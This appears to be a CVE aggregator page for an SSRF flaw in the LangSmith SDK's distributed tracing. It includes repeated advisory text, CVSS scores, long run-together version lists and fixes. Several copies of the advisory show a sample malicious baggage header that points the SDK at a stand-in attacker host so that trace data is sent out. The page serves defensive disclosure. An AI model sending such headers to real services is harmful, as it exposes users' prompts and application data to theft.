Every CVE Search/ Get API key

CVE-2026-25528

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

5.8 MediumFix available

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.32%Up 0.3 points since Feb 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.8

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Record
CVE-2026-25528
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-6847 5.8

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Record
EUVD-2026-6847
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-v34v-rq6j-cj6p 5.8

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic
Record
GHSA-v34v-rq6j-cj6p
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 5.8

LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.

Record
CVE-2026-25528
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-v34v-rq6j-cj6p 5.8

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic
Record
GHSA-v34v-rq6j-cj6p
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVPYSEC-2026-2584 5.8

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic
Record
PYSEC-2026-2584
CVSS 3.1
5.8 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-25528 No score

CVE-2026-25528 in rootio-langsmith - Patched by Root

Root has patched CVE-2026-25528 in the rootio-langsmith package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-25528
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
langsmith
PyPI
0.4.10 up to 0.6.3
0.6.3
langsmith
npm
0.3.41 up to 0.4.6
0.4.6
langsmith
PyPI
0.4.10 up to 0.6.3, plus listed versions
0.4.110.4.120.4.130.4.140.4.15
Show 45 moreShow less
0.4.160.4.170.4.180.4.190.4.200.4.210.4.220.4.230.4.240.4.250.4.260.4.270.4.280.4.290.4.300.4.310.4.320.4.32rc00.4.330.4.340.4.350.4.35rc10.4.360.4.370.4.380.4.390.4.39rc00.4.39rc10.4.400.4.410.4.420.4.42rc00.4.430.4.43rc00.4.440.4.450.4.460.4.470.4.480.4.490.4.500.4.510.4.520.4.530.4.54
0.6.3
rootio-langsmith
Root:PyPI
before 0.4.30+root.io.1
0.4.30+root.io.10.4.10+root.io.10.4.11+root.io.10.4.12+root.io.10.4.17+root.io.10.4.16+root.io.10.4.13+root.io.10.4.15+root.io.10.4.18+root.io.10.4.45+root.io.10.4.25+root.io.10.4.21+root.io.10.4.19+root.io.10.4.22+root.io.10.4.26+root.io.10.4.20+root.io.10.4.23+root.io.10.4.27+root.io.10.4.28+root.io.10.6.2+root.io.10.4.29+root.io.10.4.50+root.io.10.4.31+root.io.10.4.24+root.io.10.4.35+root.io.10.4.36+root.io.10.4.34+root.io.10.4.37+root.io.10.4.33+root.io.10.4.32+root.io.10.4.43+root.io.10.4.38+root.io.10.4.41+root.io.10.4.42+root.io.10.4.49+root.io.10.4.46+root.io.10.4.47+root.io.10.4.44+root.io.10.4.48+root.io.10.4.40+root.io.10.4.39+root.io.10.4.51+root.io.10.4.53+root.io.10.4.52+root.io.10.4.54+root.io.10.4.55+root.io.10.4.56+root.io.10.4.57+root.io.10.4.58+root.io.10.6.0+root.io.10.4.14+root.io.20.6.1+root.io.10.5.0+root.io.10.5.2+root.io.10.4.59+root.io.10.5.1+root.io.10.4.60+root.io.10.4.30+root.io.20.6.0+root.io.20.4.52+root.io.20.4.29+root.io.20.4.11+root.io.20.4.15+root.io.20.4.16+root.io.20.4.13+root.io.20.4.17+root.io.20.4.14+root.io.30.4.12+root.io.20.6.1+root.io.20.4.35+root.io.20.4.48+root.io.20.4.60+root.io.20.4.51+root.io.20.4.55+root.io.20.4.57+root.io.20.4.59+root.io.20.4.53+root.io.20.4.54+root.io.20.4.58+root.io.20.4.50+root.io.20.4.56+root.io.20.4.41+root.io.20.4.42+root.io.20.4.49+root.io.20.5.2+root.io.20.4.33+root.io.20.4.28+root.io.20.6.2+root.io.20.4.44+root.io.20.4.46+root.io.20.4.32+root.io.20.4.36+root.io.20.4.22+root.io.20.4.45+root.io.20.4.27+root.io.20.4.43+root.io.20.4.26+root.io.20.4.19+root.io.20.4.18+root.io.20.4.37+root.io.20.4.20+root.io.20.4.39+root.io.20.4.25+root.io.20.4.38+root.io.20.4.10+root.io.20.4.34+root.io.20.4.31+root.io.20.5.1+root.io.20.4.23+root.io.20.4.21+root.io.20.4.24+root.io.20.4.40+root.io.20.4.47+root.io.20.5.0+root.io.20.4.50+root.io.30.4.56+root.io.30.4.41+root.io.30.4.54+root.io.30.4.42+root.io.30.6.0+root.io.30.5.2+root.io.30.4.49+root.io.30.4.48+root.io.30.6.0+root.io.40.4.51+root.io.30.4.50+root.io.40.4.42+root.io.40.4.48+root.io.40.4.56+root.io.40.4.49+root.io.40.4.41+root.io.40.4.54+root.io.40.5.2+root.io.40.4.30+root.io.30.4.29+root.io.30.4.28+root.io.30.4.18+root.io.30.4.52+root.io.30.4.53+root.io.30.4.46+root.io.30.4.47+root.io.30.4.25+root.io.30.6.1+root.io.30.4.58+root.io.30.4.38+root.io.30.4.37+root.io.30.4.59+root.io.30.4.44+root.io.30.4.60+root.io.30.4.23+root.io.30.4.24+root.io.30.4.19+root.io.30.4.27+root.io.30.4.43+root.io.30.4.21+root.io.30.4.22+root.io.30.6.2+root.io.30.5.0+root.io.30.4.40+root.io.30.4.32+root.io.30.4.55+root.io.30.4.37+root.io.40.4.26+root.io.30.4.39+root.io.30.4.20+root.io.30.5.1+root.io.30.4.57+root.io.30.4.10+root.io.30.4.16+root.io.30.4.12+root.io.30.4.18+root.io.40.4.14+root.io.40.4.11+root.io.30.4.24+root.io.40.4.13+root.io.30.4.23+root.io.40.4.21+root.io.40.4.26+root.io.40.4.17+root.io.30.4.22+root.io.40.4.28+root.io.40.4.20+root.io.40.4.15+root.io.30.4.25+root.io.40.4.19+root.io.40.4.29+root.io.40.4.27+root.io.40.4.10+root.io.40.4.35+root.io.30.4.15+root.io.40.4.23+root.io.50.4.13+root.io.40.4.19+root.io.50.4.11+root.io.40.4.17+root.io.40.4.16+root.io.40.4.18+root.io.50.4.12+root.io.40.4.31+root.io.30.4.26+root.io.50.4.21+root.io.50.4.33+root.io.30.4.27+root.io.50.4.22+root.io.50.4.24+root.io.50.4.28+root.io.50.4.14+root.io.50.4.34+root.io.30.4.29+root.io.50.4.25+root.io.50.4.30+root.io.40.4.20+root.io.50.4.32+root.io.40.4.10+root.io.50.4.13+root.io.50.4.12+root.io.50.4.18+root.io.60.4.11+root.io.50.4.16+root.io.50.4.17+root.io.50.4.20+root.io.60.4.24+root.io.60.4.34+root.io.40.4.22+root.io.60.4.15+root.io.50.4.26+root.io.60.4.25+root.io.60.4.21+root.io.60.4.14+root.io.60.4.23+root.io.60.4.31+root.io.40.4.32+root.io.50.4.30+root.io.50.4.27+root.io.60.4.28+root.io.60.4.29+root.io.60.4.33+root.io.40.4.19+root.io.60.4.38+root.io.40.4.46+root.io.40.4.42+root.io.50.4.35+root.io.40.4.36+root.io.30.4.39+root.io.40.4.58+root.io.40.4.41+root.io.50.4.50+root.io.50.4.44+root.io.40.4.40+root.io.40.4.45+root.io.30.4.48+root.io.50.4.53+root.io.40.6.0+root.io.50.4.49+root.io.50.4.43+root.io.40.5.2+root.io.50.4.60+root.io.40.4.56+root.io.50.4.59+root.io.40.4.37+root.io.50.4.54+root.io.50.5.1+root.io.40.4.47+root.io.40.5.0+root.io.40.4.51+root.io.40.4.55+root.io.40.4.57+root.io.40.4.52+root.io.40.6.1+root.io.40.6.2+root.io.40.4.10+root.io.60.4.35+root.io.50.4.33+root.io.50.4.36+root.io.40.4.11+root.io.60.4.10+root.io.70.4.16+root.io.60.4.15+root.io.60.4.13+root.io.60.4.14+root.io.70.4.45+root.io.40.4.31+root.io.50.4.17+root.io.60.4.12+root.io.60.4.30+root.io.60.5.0+root.io.50.4.43+root.io.50.4.45+root.io.50.4.13+root.io.70.4.40+root.io.50.4.52+root.io.50.4.39+root.io.50.4.24+root.io.70.4.25+root.io.70.6.0+root.io.60.4.27+root.io.70.4.32+root.io.60.5.1+root.io.50.4.11+root.io.70.4.55+root.io.50.4.19+root.io.70.4.34+root.io.50.6.2+root.io.50.4.41+root.io.60.4.26+root.io.70.4.23+root.io.70.4.56+root.io.60.4.48+root.io.60.4.17+root.io.70.4.46+root.io.50.4.51+root.io.50.6.1+root.io.50.4.44+root.io.50.4.33+root.io.60.4.15+root.io.70.4.47+root.io.50.5.2+root.io.60.4.49+root.io.60.4.59+root.io.50.4.37+root.io.60.4.18+root.io.70.4.36+root.io.50.4.54+root.io.60.4.12+root.io.70.4.53+root.io.50.4.57+root.io.50.4.28+root.io.70.4.29+root.io.70.4.60+root.io.50.4.10+root.io.80.4.22+root.io.70.4.35+root.io.60.4.50+root.io.60.4.16+root.io.70.4.20+root.io.70.4.42+root.io.60.4.31+root.io.60.4.58+root.io.50.4.21+root.io.70.4.14+root.io.80.4.38+root.io.5
langsmith
Root:PyPI
before 0.4.50+aikido.3
0.4.50+aikido.30.4.56+aikido.30.4.41+aikido.30.4.54+aikido.30.4.42+aikido.30.6.0+aikido.30.5.2+aikido.30.4.49+aikido.30.4.48+aikido.30.6.0+aikido.40.4.51+aikido.30.4.50+aikido.40.4.42+aikido.40.4.48+aikido.40.4.56+aikido.40.4.49+aikido.40.4.41+aikido.40.4.54+aikido.40.5.2+aikido.40.4.30+aikido.30.4.29+aikido.30.4.28+aikido.30.4.18+aikido.30.4.52+aikido.30.4.53+aikido.30.4.46+aikido.30.4.47+aikido.30.4.25+aikido.30.6.1+aikido.30.4.58+aikido.30.4.38+aikido.30.4.37+aikido.30.4.59+aikido.30.4.44+aikido.30.4.60+aikido.30.4.23+aikido.30.4.24+aikido.30.4.19+aikido.30.4.27+aikido.30.4.43+aikido.30.4.21+aikido.30.4.22+aikido.30.6.2+aikido.30.5.0+aikido.30.4.40+aikido.30.4.32+aikido.30.4.55+aikido.30.4.37+aikido.40.4.26+aikido.30.4.39+aikido.30.4.20+aikido.30.5.1+aikido.30.4.57+aikido.30.4.10+aikido.30.4.16+aikido.30.4.12+aikido.30.4.18+aikido.40.4.14+aikido.40.4.11+aikido.30.4.24+aikido.40.4.13+aikido.30.4.23+aikido.40.4.21+aikido.40.4.26+aikido.40.4.17+aikido.30.4.22+aikido.40.4.28+aikido.40.4.20+aikido.40.4.15+aikido.30.4.25+aikido.40.4.19+aikido.40.4.29+aikido.40.4.27+aikido.40.4.10+aikido.40.4.35+aikido.30.4.15+aikido.40.4.23+aikido.50.4.13+aikido.40.4.19+aikido.50.4.11+aikido.40.4.17+aikido.40.4.16+aikido.40.4.18+aikido.50.4.12+aikido.40.4.31+aikido.30.4.26+aikido.50.4.21+aikido.50.4.33+aikido.30.4.27+aikido.50.4.22+aikido.50.4.24+aikido.50.4.28+aikido.50.4.14+aikido.50.4.34+aikido.30.4.29+aikido.50.4.25+aikido.50.4.30+aikido.40.4.20+aikido.50.4.32+aikido.40.4.10+aikido.50.4.13+aikido.50.4.12+aikido.50.4.18+aikido.60.4.11+aikido.50.4.16+aikido.50.4.17+aikido.50.4.20+aikido.60.4.24+aikido.60.4.34+aikido.40.4.22+aikido.60.4.15+aikido.50.4.26+aikido.60.4.25+aikido.60.4.21+aikido.60.4.14+aikido.60.4.23+aikido.60.4.31+aikido.40.4.32+aikido.50.4.30+aikido.50.4.27+aikido.60.4.28+aikido.60.4.29+aikido.60.4.33+aikido.40.4.19+aikido.60.4.38+aikido.40.4.46+aikido.40.4.42+aikido.50.4.35+aikido.40.4.36+aikido.30.4.39+aikido.40.4.58+aikido.40.4.41+aikido.50.4.50+aikido.50.4.44+aikido.40.4.40+aikido.40.4.45+aikido.30.4.48+aikido.50.4.53+aikido.40.6.0+aikido.50.4.49+aikido.50.4.43+aikido.40.5.2+aikido.50.4.60+aikido.40.4.56+aikido.50.4.59+aikido.40.4.37+aikido.50.4.54+aikido.50.5.1+aikido.40.4.47+aikido.40.5.0+aikido.40.4.51+aikido.40.4.55+aikido.40.4.57+aikido.40.4.52+aikido.40.6.1+aikido.40.6.2+aikido.40.4.10+aikido.60.4.35+aikido.50.4.33+aikido.50.4.36+aikido.40.4.11+aikido.60.4.10+aikido.70.4.16+aikido.60.4.15+aikido.60.4.13+aikido.60.4.14+aikido.70.4.45+aikido.40.4.31+aikido.50.4.17+aikido.60.4.12+aikido.6

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-25528 is a medium vulnerability (CVSS 5.8) in Langchain-ai Langsmith-sdk, published February 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 24th percentile. Fixed in langsmith 0.6.3.

References

This page doesn't list everything

Left out here: 14 versions. The JSON record has them.

MoveEnter Open